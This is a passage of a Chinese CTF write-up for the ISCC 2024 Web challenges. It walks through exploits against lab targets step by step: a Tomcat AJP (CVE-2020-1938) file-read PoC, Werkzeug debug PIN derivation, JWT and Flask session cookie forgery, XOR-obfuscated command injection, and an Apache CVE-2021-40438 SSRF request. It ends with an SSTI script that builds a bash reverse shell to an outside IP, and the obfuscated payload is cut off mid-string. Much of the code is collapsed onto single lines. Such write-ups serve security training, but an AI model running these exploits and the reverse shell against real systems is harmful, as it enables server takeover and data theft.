    ISCC{192.168.1.2,192.168.1.4,24,2024,192.168.1.3,192.168.1.5,0.06,192.168.1.2,192.168.1.3,192.168.1.6,CRC16,4,1}

最后flag用md5加密為adcca5c2a82064a17a645d35b6b054cd

二、Web

1、還沒想好名字的塔防游戲

hint:這是一個還沒想好名字的塔防游戲。
備注:
(1)Flag格式為ISCC{xxx},其中xxx共有18位,記得數清楚哦!
(2)提示在后邊哦!

打開靶機,發現真的是一個游戲,直接Ctrl+u查看源碼;

在這里插入圖片描述

發現在一堆js后綴文件里面,word尤其顯眼。那我們下載下來進行分析;

在這里插入圖片描述

使用記事本打開,再次發現hint:

在這里插入圖片描述

這里就是一個腦洞,其實也沒有什么,一開始題目給的hintxxx一共是18位,那我們就可以猜一下,記事本里的hint首字母加起來有沒有18位;

在這里插入圖片描述

很明顯肯定不夠18位!,那既然都猜大寫字母了,那不妨在大膽一點,我們在加上一開始游戲界面的首字母,至于加在前面還是加在后面,可以多嘗試幾遍!

最后腦洞成功!這里注意of和and首字母都是小寫不算在大寫里面;

在這里插入圖片描述

這題應該放mics

2、代碼審計

打開靶機Ctrl+u查看源碼,有點眼熟之前buu刷到類似的

參考鏈接:https://blog.csdn.net/qq_45837896/article/details/126026576

在這里插入圖片描述

簡單分析一下;

這個 Flask 應用程序定義了三個路由(也就是三個不同的URL路徑),每個路由都關聯了一個特定的函數來處理請求

  1. /geneSign 路由:當通過 GETPOST 方法訪問此路徑時,會調用 geneSign 函數。這個函數的作用是根據提供的參數 param 和固定的動作 action(在這個例子中是 "scan"),生成一個簽名(sign)并返回。這個簽名是通過 get_sign 函數生成的,它使用 md5 散列算法。

  2. /De1ta 路由:當通過 GETPOST 方法訪問此路徑時,會調用 challenge 函數。這個函數首先從請求的 cookies 中獲取 actionsign,從請求的參數中獲取 param,然后創建一個 Task 實例并執行它的 Exec 方法。Task 類的 Exec 方法會根據 action 的值來執行不同的操作,如掃描文件或讀取文件內容,并返回執行結果。

  3. / 根路由:當訪問網站的根路徑時,會調用 index 函數。這個函數簡單地讀取并返回 “code.txt” 文件的內容。

總結一下;

1、param放要讀的文件flag.txt

2、cookie里的action+GET里的param加密后要等于cookie里的sign

3、geneSign告訴我們param+關鍵字action的MD5加密是多少

4、那我們在/geneSign頁面傳param=flag.txtread就能算出來secret_key+flag.txt+readscan的值是多少,可以繞過弱比較。

開始構造payload

http://101.200.138.180:12315/geneSign?param=flag.txtread

在這里插入圖片描述

接著,返回/De1ta頁面GET傳參param=flag.txt,cookie傳參action=readscan;sign=b1c87b8fa0c3aaf0980dcb6447a95970可以得到flag,密鑰不同環境不同。

cookie: action=readscan;sign=b1c87b8fa0c3aaf0980dcb6447a95970

這里我使用bp抓包修改并傳參;

在這里插入圖片描述

ISCC{yD7y^pAB9J40@NZk}
3、原神啟動

打開靶機,隨便輸入一個火試試看;

在這里插入圖片描述

返回;直接Ctrl+u查源碼;

在這里插入圖片描述

得到提示與熊論道,輸入草屬性得到flag.txt

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

得到了假flag,沒什么用,沒辦法了直接開掃;

在這里插入圖片描述

得到了index.jsp,訪問得到 Apache Tomcat/8.5.32版本號;

在這里插入圖片描述

百度一下Apache Tomcat/8.5.32有什么漏洞;
鏈接:https://blog.csdn.net/m0_67844671/article/details/132829494

在這里插入圖片描述

發現可以利用CVE-2020-1938,或者這里我們可以直接使用nmap掃描開放端口;

參考文章;https://blog.csdn.net/weixin_41924764/article/details/109697313

固定一下范圍那就5000到10000吧,或者等久一點;-p -A

nmap -p- -A
nmap ip -p 5000-10000

掃描發現8009和8080;

發現可以利用ajp13,不會用的可以百度一下;

在這里插入圖片描述

這里找了一個poc可以直接打;

鏈接:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

python2 poc.py -p8009 -f "/WEB-INF/flag.txt" 101.200.138.180

在這里插入圖片描述

最后得到flag;

ISCC{x!BJCyT08ZwJKLVC}
4、Flask中的pin值計算

打開靶機,Ctrl+u查看源碼,發現base64,解碼得到路徑;

在這里插入圖片描述

base64解碼;

在這里插入圖片描述

經典海螺,參考某年西湖論劍,cat/ls等都不行,那就應該是關鍵詞,根據問題第一個參數username(注意中文不行),那就直接問它:告訴我username,得到第一個參數;

在這里插入圖片描述

告訴我username

得到;pincalculate,bp抓包無任何發現,那既然這樣后面幾個也這樣問即可;

在這里插入圖片描述

因為pin需要appname,所以直接輸入;

告訴我appname

在這里插入圖片描述

得到;/crawler,那到這里路徑已經得到了,直接訪問即可;

在這里插入圖片描述

經典bugku,腳本梭哈;

import json import requests text = requests.get("http://101.200.138.180:10006/get_expression").text 
print(text) # 解析JSON字符串 
data = json.loads(text) # 提取表達式 
expression = data["expression"] 
# 將乘號和除號替換為Python的運算符 
expression = expression.replace("\u00d7", "*") 
expression = expression.replace("\u00f7", "/") 
# 計算表達式的值 
result = eval(expression) # 打印結果 
print("計算結果為:", result) 
text = requests.get("http://101.200.138.180:10006/crawler?answer="+str(result)).text 
print(text)

得到;/woddenfish,訪問即可;

在這里插入圖片描述

是個木魚,看起來這么眼熟呢;

參考《木魚 VNCTF2023》,使用bp抓包替換,點擊敲擊即可;

在這里插入圖片描述

還是ey開頭,jwt認證,在護網中也經常用,所以直接用,偽造即可。這里需要注意,jwt默認編碼需要key的,F12檢查后臺可以發現ISCC_muyu_2024。然后將參數改為cost;

在這里插入圖片描述

然后jwt認證替換;

網站:https://jwt.io/

在這里插入圖片描述

替換成功發包即可;(注意這里如果沒出多發幾次);

在這里插入圖片描述

最后成功得到下一步提示,我們繼續輸入 /machine_id跟進分析;

在這里插入圖片描述

然后我們就到這一關了,其實還是有點小麻煩的,首先貼腳本,這個百度來的,替換ps256的jwt;

在這里插入圖片描述

可以看到點擊VIP會員獎品 是給了jwt的認證的,我們直接腳本跑跑;

from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decodedef topic(topic):[header, payload, signature] = topic.split('.')parsed_payload = loads(base64url_decode(payload))print(parsed_payload)parsed_payload["role"] = "vip"#parsed_payload["iat"] = "1714628024"#parsed_payload["exp"] = "1714628024"#parsed_payload["jti"] = "1714628024"print(dumps(parsed_payload, separators=(',', ':')))fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))print(fake_payload)return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} 'print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTU3Njg1MjMsImlhdCI6MTcxNTc2NDkyMywianRpIjoidDdvX1NRUXlOSXRiU2hTV2VIekdYZyIsIm5iZiI6MTcxNTc2NDkyMywicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.AxXi3IZyck-uKs1VnMzQerz6onMi07LfH8_OQhHavDDRGLE-lKU2CkLBFm26hABYCzSHr8CBWftavY0N0QXsEwwHPqLnQUZg8dn3l-ZCCeacVHBDJMYKHSmOx_HqrQH9g1vKFS4J5FuiknHXoQdyVGq3y0ohalNete5Iqf5tloVXq6IOprfDtYrcyZXo5fmU9uOc2q7dXWgkzEWaNlvI5pduVTOF3_8KU0NTLlWMzvVX-_QAzdsYMWOYryBo1szj8Z7B-ZxOxiAXenQ3_2FWRtGa0KJucr0NlG8X13xCG4Lpv4nO0D74zEsNHHXp0F3csJr8mhAnXM3WLNecmJoJaA'))

這里注意如果沒有No module named ‘jwcrypto’,那就安裝一個;

pip install jwcrypto 

在這里插入圖片描述

接著使用構造好的傳參,這里建議使用bp抓包傳參較好些,(注意傳參vipprice?token=)

在這里插入圖片描述

得到welcome_to_iscc_club,那這個應該就是supervip 的 key了,使用flask_session_cookie_manager3.py;

腳本鏈接;https://github.com/noraj/flask-session-cookie-manager

在這里插入圖片描述

python fink.py encode -s "welcome_to_iscc_club" -t " {'role': 'supervip'}"

fink.py腳本如下:

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4from abc import ABCMeta, abstractmethod
else: # > 3.4from abc import ABC, abstractmethod# Lib for argument parsing
import argparse# external Imports
from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keyif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4class FSCM(metaclass=ABCMeta):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if(secret_key==None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise e
else: # > 3.4class FSCM(ABC):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if(secret_key==None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise eif __name__ == "__main__":# Args are only relevant for __main__ usage## Description for helpparser = argparse.ArgumentParser(description='Flask Session Cookie Decoder/Encoder',epilog="Author : Wilson Sumanang, Alexandre ZANNI")## prepare sub commandssubparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')## create the parser for the encode commandparser_encode = subparsers.add_parser('encode', help='encode')parser_encode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=True)parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',help='Session cookie structure', required=True)## create the parser for the decode commandparser_decode = subparsers.add_parser('decode', help='decode')parser_decode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=False)parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',help='Session cookie value', required=True)## get argsargs = parser.parse_args()## find the option chosenif(args.subcommand == 'encode'):if(args.secret_key is not None and args.cookie_structure is not None):print(FSCM.encode(args.secret_key, args.cookie_structure))elif(args.subcommand == 'decode'):if(args.secret_key is not None and args.cookie_value is not None):print(FSCM.decode(args.cookie_value,args.secret_key))elif(args.cookie_value is not None):print(FSCM.decode(args.cookie_value))

接著偽造成eyJyb2xlIjoic3VwZXJ2aXAifQ.ZjNa-A.J2XNwVTvvJLAIWUGd0ZtStqFe3Y,改 cookie 后點 supervip

eyJyb2xlIjoic3VwZXJ2aXAifQ.ZkSF8w.pMdOhX-ddfTqBDCe3viFw1bMKYE

在這里插入圖片描述

得到

"255511f8-6679-4229-b2c2-f857a575cb23"

這就是全部的 machine-id 了,可真不容易呀;

username:pincalculate modname:flask.app appname:Flask app.py絕對路徑:/usr/local/lib/python3.11/site-packages/flask/app.pyuuidnode mac:2485378351106machine_id 機器碼:255511f8-6679-4229-b2c2-f857a575cb23

直接上pin 腳本跑一下;

import hashlib
from itertools import chainprobably_public_bits = ['pincalculate',  # username'flask.app',  # modname'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))'/usr/local/lib/python3.11/site-packages/flask/app.py'  # getattr(mod, '__file__', None),
]# This information is here to make it harder for an attacker to
# guess the cookie name.  They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = ['2485378351106',  # str(uuid.getnode()),  /sys/class/net/ens33/address# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup'255511f8-6679-4229-b2c2-f857a575cb23'#JSON=acff8a1c-6825-4b9b-b8e1-8983ce1a8b94
]h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode("utf-8")h.update(bit)
h.update(b"cookiesalt")cookie_name = f"__wzd{h.hexdigest()[:20]}"# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:h.update(b"pinsalt")num = f"{int(h.hexdigest(), 16):09d}"[:9]# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = "-".join(num[x : x + group_size].rjust(group_size, "0")for x in range(0, len(num), group_size))breakelse:rv = num
print(rv)

在這里插入圖片描述

截止目前為止我們就得到了pin,

然后最后我們在console中傳入pin

http://101.200.138.180:10006/console

在這里插入圖片描述

最后輸入即可;

ISCC{WjbhDJtTrXfXcZa_}

這題出的很好,建議下次不要再出了;

(最后溫馨提示,按照我的步驟慢慢來一步一步包出的啦;)

5、掉進阿帕奇的工資

打開靶機,發現可以注冊賬號;

在這里插入圖片描述

那就隨便注冊一個,發現職務不能修改,那就使用bp抓包嘗試修改;

在這里插入圖片描述

注冊成功,那就嘗試登錄,發現登錄不上

在這里插入圖片描述

那我們嘗試信息重置,這里選擇問題重置,重置成功,拿到manger身份;

在這里插入圖片描述
在這里插入圖片描述

使用給的密碼嘗試登錄,發現登錄成功;

在這里插入圖片描述

檢查了一下,發現只有輸入工資那一欄有回顯

在這里插入圖片描述

猜測是xor

那我們繼續輸入ls績效11試試看

在這里插入圖片描述

返回]B,那繼續輸入]B績效11試試看;

在這里插入圖片描述

掃了一眼發現Docfile 最顯眼,那就查一下;

basicSalary=%52%50%45%11%75%5e%52%1b&performanceCoefficient=11111111&calculate=

在這里插入圖片描述

這里注意xor運行,key:49,xo運算完在進行URL編碼才行;

腳本如下;

import urllib.parse# 原始字符串
original_string = cat Doc*
# XOR 密鑰
xor_key = 49# 對原始字符串的每個字符執行 XOR 操作
xored_result = ''.join(chr(ord(char) ^ xor_key) for char in original_string)# 將 XOR 后的結果轉換為 URL 編碼
url_encoded_result = urllib.parse.quote(xored_result)print("XOR 后并 URL 編碼的結果:", url_encoded_result)

輸出就行,想要查什么直接帶入,當然注意這里的績效cat Doc*是11111111——8個1幾個就對應即可轉換前的即可;

猜測flag就在http://secret.host/flag里面(其實也不是猜測,每次都是要嘗試才知道的)

但是這里神奇的發現杯過濾掉了,那就沒辦法就不能繼續從這里面繼續打了;

請教了一下師傅發現是 CVE-2021-40438 漏洞;

通過bp抓包發現Apache版本:Server: Apache/2.4.43 (Unix)

在這里插入圖片描述

直接百度一下apache/2.4.43 漏洞,往下一點發現這么個帖子;

鏈接:https://blog.csdn.net/qq_41874930/article/details/121686142

在這里插入圖片描述

接著按照上面的步驟來操作一步一步復現即可;

這里還是使用bp抓包傳參較為方便;

數據包如下;

在這里插入圖片描述

GET /transfer.php?dashachun=unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://secret.host/flag HTTP/1.1
Host: 101.200.138.180:60000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://101.200.138.180:60000/gongzi_iscc.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=485r400bv7r457fhm4obmk33su
Connection: closeISCC{F3wzst*7SRfCUu@H}
6、實戰——階段一: 內網服務器漏洞利用

注冊就不需要我說了,這里注冊完成直接打開靶場;

在這里插入圖片描述

咋一看這個頁面特別復雜對吧?其實也就那樣,不要慌,關鍵點:Mongo Express。

簡單分析一下;mongo-express是一個MongoDB的Admin Web管理界面,使用NodeJS、Express、Bootstrap3編寫而成。目前mongo-express應該是Github上Star最多的MongoDB admin管理界面。部署方便,使用簡單,成為了很多人管理mongo的選擇。

反手就是百度看看有什么漏洞;

在這里插入圖片描述

不用說第一個就是啊:https://blog.csdn.net/negnegil/article/details/120168608

照葫蘆畫瓢開始漏洞復現;

使用bp抓包在tmp目錄下創建success目錄;當然啊這里我喜歡用:HackBar V2(抓不了包才用的)

在這里插入圖片描述

搬運:其中Authorization: Basic YWRtaW46cGFzcw== 經base64解碼為Authorization:  
Basic admin:pass

在這里插入圖片描述

實戰要求其實做到這里就可以了,如果想繼續跟進,可以參考那篇文章鏈接;

7、回來吧永遠滴神

打開靶機,發現需要填空,那就百度一下;(這題大致思路及做題技巧參考一位師傅的(止境);)

百度貼吧看見;

在這里插入圖片描述

在這里插入圖片描述

提交得到下一關,先查源碼;

在這里插入圖片描述

發現有問題,一般來說這里是個哈希值,但是這里是base64;

在這里插入圖片描述

使用CyberChef解碼得到Flag[0];(先base64再十六進制);

鏈接:https://mm.imbyter.com/#recipe=From_Base64(‘A-Za-z0-9%2B/%3D’,true,false)From_Hex(‘Auto’)&input=TkRZMll6WXhOamMxWWpNd05XUXpZVEl3TkRrM1lqUTBOVE0wWWpNMk5EWTJZVE0zTmpNPWY

在這里插入圖片描述

Flag[0]: I{DSK6Fj7c

返回發現頁面可以使用SSTI,至于waf不用想包有的;

{% print a %}

在這里插入圖片描述

使用fenjing梭不出來,直接使用fenjing在不獲取WAF黑名單的情況下,根據返回頁面中的特征生成payload腳本,增加個cookie。

import functools
import time
import requests
from fenjing import exec_cmd_payloadurl= "http://101.200.138.180:16356/evlelLL/646979696775616e"
cookies = {'session': 'eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.Zkmt4Q.XGnpAgOO8SdAGpgFxhEbKMqzTiM'
}
@functools.lru_cache(1000)
def waf(payload: str):# 如果字符串s可以通過waf則返回True, 否則返回Falsetime.sleep(0.02) # 防止請求發送過多resp = requests.post(url, cookies=cookies, timeout=10,data={"iIsGod": payload})return "BAD" not in resp.text
if __name__ == "__main__":shell_payload, will_print = exec_cmd_payload(waf, 'bash -c "bash -i >& /dev/tcp/119.45.179.65/8888 0>&1"')if not will_print:print("這個payload不會產生回顯!")print(f"{shell_payload=}")
#shell_payload='{%set pp=dict(POP=x)|first|lower%}{%set qi=dict(OS=x)|first|lower%}{%set po=dict(POPEN=x)|first|lower%}{%set re=dict(READ=x)|first|lower%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set gl=dict(GLOBALS=x)|first|lower%}{%set go=lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum~gl~lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum%}{%set ge=dict(GETITEM=x)|first|lower%}{%set gi=lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum~ge~lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum%}{%set bu=dict(BUILTINS=x)|first|lower%}{%set bl=lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum~bu~lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum%}{%set im=dict(IMPORT=x)|first|lower%}{%set ip=lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum~im~lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum%}{%set nb=lipsum()|urlencode|first%}{%set lh=namespace|escape|count%}{%set do=joiner|urlencode|wordcount%}{%set de=namespace|escape|urlencode|escape|urlencode|count%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set hx=dict(a=x,b=x,c=x)|length%}{%set ob={}|int%}{%set lb=ob**ob%}{%set llb=(lb~lb)|int%}{%set lllb=(llb~lb)|int%}{%set llllb=(lllb~lb)|int%}{%set bb=llb-lb-lb-lb-lb-lb%}{%set sbb=lllb-llb-llb-llb-llb-llb%}{%set ssbb=llllb-lllb-lllb-lllb-lllb-lllb%}{%set zzeb=llllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb%}{%set ob={}|int%}{%set lb=ob**ob%}{%set llb=(lb~lb)|int%}{%set lllb=(llb~lb)|int%}{%set llllb=(lllb~lb)|int%}{%set bb=llb-lb-lb-lb-lb-lb%}{%set sbb=lllb-llb-llb-llb-llb-llb%}{%set ssbb=llllb-lllb-lllb-lllb-lllb-lllb%}{%set zzeb=llllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb%}{%set aj=dict(aaaaa=x)|first|length%}{%set qj=(hx,la)|sum%}{%set et=(lla,lla,lla,qj)|sum%}{%set 